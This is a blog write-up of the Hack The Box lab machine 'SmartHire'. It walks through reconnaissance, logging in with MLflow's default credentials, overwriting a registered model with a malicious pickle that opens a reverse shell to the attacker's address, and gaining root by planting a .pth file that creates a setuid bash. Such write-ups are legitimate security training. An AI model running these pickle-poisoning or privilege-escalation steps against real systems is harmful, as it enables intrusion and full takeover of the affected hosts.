Hackthebox: SmartHire
Overview
SmartHire is a medium-difficulty Linux machine from Hack The Box that revolves around a self-hosted MLflow model registry. We start by discovering a models. subdomain protected by MLflow’s basic-auth, which still ships the default admin:password credentials. The front-end SmartHire application trains and loads a per-user model from that registry, so we abuse MLflow’s artifact-proxy to overwrite the model’s python_model.pkl with a malicious pickle. When the app calls mlflow.pyfunc.load_model() on our poisoned model, our __reduce__ payload fires and lands us a shell as svcweb. For privilege escalation, a NOPASSWD sudo entry runs a custom Python helper that calls site.addsitedir() on a directory writable by our devs group, so we drop a .pth file whose import line executes as root.

Reconnaissance
We kick things off with a full TCP port scan to make sure we don’t miss anything above the top-1000:
1 | kujen@kujen:~$ nmap -p- --min-rate 5000 -T4 10.129.245.215 -oN nmap-fast.txt |
Only two ports open, so we run a service/version scan on both:
1 | kujen@kujen:~$ nmap -sV -sC -p 22,80 10.129.245.215 -oN nmap-sv.txt |
Our usual SSH on 22 and an nginx web application on port 80. Curling the IP gives us a 301 redirect with the canonical hostname in the Location: header:
1 | kujen@kujen:~$ curl -sI http://10.129.245.215/ |
We add smarthire.htb to our /etc/hosts:
1 | kujen@kujen:~$ echo "10.129.245.215 smarthire.htb" | sudo tee -a /etc/hosts |
Walking the landing page
Grepping through the landing page for anything that hints at the tech stack:
1 | kujen@kujen:~$ curl -s http://smarthire.htb/ | grep -iE 'title|product|powered|model|api' | head |
“Model Registry” listed under their products is the breadcrumb here. On a box like this that almost always means there’s an MLflow-flavoured service sitting somewhere on the host, and it’s usually a sibling vhost.
Vhost brute-forcing
We loop a small list of obvious names through Host: headers. The baseline for a non-existent host is a 301 (size 178) back to the canonical site, so anything that isn’t 301/178 is worth a closer look:
1 | kujen@kujen:~$ cat > subs.txt <<'EOF' |
models.smarthire.htb returns a 401 instead of the 301 sink, meaning there’s a real backend behind it. We add it to /etc/hosts and check the headers:
1 | kujen@kujen:~$ echo "10.129.245.215 models.smarthire.htb" | sudo tee -a /etc/hosts |
WWW-Authenticate: Basic realm="mlflow" gives it away, this is MLflow’s built-in basic-auth.
MLflow - Default Credentials
MLflow’s mlflow-auth module ships a default_permissions.ini that seeds exactly one admin account: admin:password. Lazy deployments never rotate it, so we try it against the version endpoint:
1 | kujen@kujen:~$ curl -s -u admin:password http://models.smarthire.htb/version |
We’re in, and MLflow 2.14.1 sits squarely inside the pickle-deserialization-RCE window. Any consumer that calls mlflow.pyfunc.load_model() against a model whose flavour is python_function will cloudpickle.load the model’s python_model.pkl. That’s just pickle.load with extras, so if we can write a malicious __reduce__ into that file, we get code execution wherever the consumer loads the model.
Mapping the SmartHire App
The exploit needs a consumer, someone who actually calls pyfunc.load_model() against a registered model. The SmartHire front-end is the obvious candidate, so let’s map how it uses the registry.
Registering an account
The /register form takes a username, company and password:
1 | kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar \ |
Finding our model name
We log in and pull the dashboard’s model_info endpoint:
1 | kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar -L \ |
The model name is derived from the company name we registered with (acme -> acme-78c78b2f6a9f-model), and no model has been trained yet (model_info: null).
Training a model to poison
The dashboard’s example CSV goes to /upload_hiring_data, which both trains the user’s model and registers it in MLflow. We give it something to chew on:
1 | kujen@kujen:~$ cat > hiring.csv <<'CSV' |
Version 1 of our model is now registered. Peeking at the /predict form’s HTML tells us what shape it eats:
1 | kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar http://smarthire.htb/predict \ |
Same multipart-CSV shape as the training endpoint. So a POST /predict will be our trigger once we’ve planted the malicious pickle.
Locating the Pickle in the Artifact Store
First we resolve the latest version of our registered model to find where its artifacts live:
1 | kujen@kujen:~$ curl -s -u admin:password \ |
Now we list the artifact tree for that run:
1 | kujen@kujen:~$ curl -s -u admin:password \ |
There’s our python_model.pkl. We read the MLmodel metadata to confirm the loader:
1 | kujen@kujen:~$ curl -s -u admin:password \ |
loader_module: mlflow.pyfunc.model together with python_model: python_model.pkl is the whole story, that file gets cloudpickle.loadd on every single model load.
Foothold - Poisoning the Pickle
Building the malicious pickle
The __reduce__ magic method tells pickle “when you unpickle me, call this callable with these args”, so we pin os.system(<reverse_shell>) and the unpickler fires it the moment it hits our opcode:
1 | # build_pkl.py |
1 | kujen@kujen:~$ python3 build_pkl.py 10.10.16.32 4444 |
Pure reduce-opcode RCE.
Overwriting python_model.pkl
MLflow >= 2.0 exposes /api/2.0/mlflow-artifacts/artifacts/<path> as a generic artifact store. With our admin auth, a PUT overwrites the file in place, no need to log a new run or even install the mlflow Python client:
1 | kujen@kujen:~$ curl -s -u admin:password -X PUT --data-binary "@evil.pkl" \ |
We confirm the bytes landed:
1 | kujen@kujen:~$ curl -s -u admin:password \ |
Triggering the load
We start our listener and fire a benign CSV at /predict. The server calls mlflow.pyfunc.load_model() on our model before it ever touches the CSV, so the payload triggers on load:
1 | kujen@kujen:~$ cat > predict.csv <<'CSV' |
The request hangs (the unpickle never returns cleanly, which is expected), and over on our listener the callback lands:
1 | kujen@kujen:~$ nc -lvnp 4444 |
User flag
1 | svcweb@smarthire:/var/www/smarthire.htb$ id |
svcweb runs the gunicorn worker directly, no container, so the host filesystem is fully reachable. That supplementary devs group is interesting and worth keeping in the back of our minds.
Privilege Escalation - .pth Hook Under Sudo
We check our sudo rights first:
1 | svcweb@smarthire:/var/www/smarthire.htb$ sudo -l |
A wildcard sudoers entry on a custom Python helper. That almost always means there’s a code path inside the script we can influence. Let’s look at the directory:
1 | svcweb@smarthire:/var/www/smarthire.htb$ ls -la /opt/tools/mlflow_ctl /opt/tools/mlflow_ctl/plugins |
The dev plugins directory is group-owned by devs and mode 0775, and we’re in devs, so it’s writable to us. Now let’s read the helper itself:
1 | #!/usr/bin/env python3 |
Here’s the kicker: site.addsitedir() does more than just append a path to sys.path. It scans the given directory for *.pth files and executes any line inside them that starts with import. Because the script runs under sudo as root, anything we write into plugins/dev/*.pth runs as root too.
Dropping the .pth
We go with the classic setuid-bash payload: copy /bin/bash to /tmp and chmod it 4755. When later run with -p, bash keeps the elevated euid:
1 | svcweb@smarthire:/var/www/smarthire.htb$ echo "import os; os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth |
The setuid bit is on and the file is owned by root. We run it with -p to keep the euid and grab the root flag:
1 | svcweb@smarthire:/var/www/smarthire.htb$ /tmp/rootbash -p -c "id; cat /root/root.txt" |
And that’s a root shell.
Cleanup
We tidy up after ourselves by removing the .pth and the setuid bash:
1 | svcweb@smarthire:/var/www/smarthire.htb$ rm -f /opt/tools/mlflow_ctl/plugins/dev/pwn.pth /tmp/rootbash |
The original python_model.pkl is easily restored by re-running /upload_hiring_data from the dashboard, which trains a fresh model and registers it as v2, so the front-end’s /predict picks up the clean one on the next load.
That was it for SmartHire, hope you learned something new!
-0xkujen
- Title: Hackthebox: SmartHire
- Author: Foued SAIDI
- Created at : 2026-09-27 15:00:00
- Updated at : 2026-09-27 20:43:58
- Link: https://kujen5.github.io/2026/09/27/Hackthebox-SmartHire/
- License: This work is licensed under CC BY-NC-SA 4.0.